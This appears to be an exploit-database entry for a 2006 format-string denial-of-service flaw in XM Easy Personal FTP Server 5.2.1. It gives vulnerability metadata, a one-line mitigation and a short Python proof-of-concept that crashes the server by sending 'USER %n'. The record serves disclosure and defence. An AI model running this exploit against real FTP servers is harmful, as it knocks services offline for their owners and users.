XM Easy Personal FTP Server 5.2.1 format string Denial of Service

vendor:

XM Easy Personal FTP Server

by:

shinnai

7.5

CVSS

HIGH

Denial of Service

134

CWE

Product Name: XM Easy Personal FTP Server

Affected Version From: 5.2.2001

Affected Version To: 5.2.2001

Patch Exists: Yes

Related CWE: N/A

CPE: a:xm_easy_software:xm_easy_personal_ftp_server

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2006

XM Easy Personal FTP Server 5.2.1 format string Denial of Service

A vulnerability in XM Easy Personal FTP Server 5.2.1 allows remote attackers to cause a denial of service (crash) via a format string specifier in the USER command.

Mitigation:

Upgrade to the latest version of XM Easy Personal FTP Server 5.2.1

Source

Exploit-DB raw data:

import sys,os,string
import socket
import time

print "-----------------------------------------------------------------------"
print "# XM Easy Personal FTP Server 5.2.1 format string Denial of Service"
print "# url: http://www.dxm2008.com/"
print "# author: shinnai"
print "# mail: shinnai[at]autistici[dot]org"
print "# site: http://shinnai.altervista.org"
print "-----------------------------------------------------------------------"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
   conn = s.connect(("127.0.0.1",21))
except:
   print "- Unable to connect. exiting."

d = s.recv(1024)
time.sleep(2)
s.send('USER %s\r\n' % "%n") # or use every available command or really what you like
time.sleep(2)                # I try to use CFGHT command and it works :)

# milw0rm.com [2006-12-22]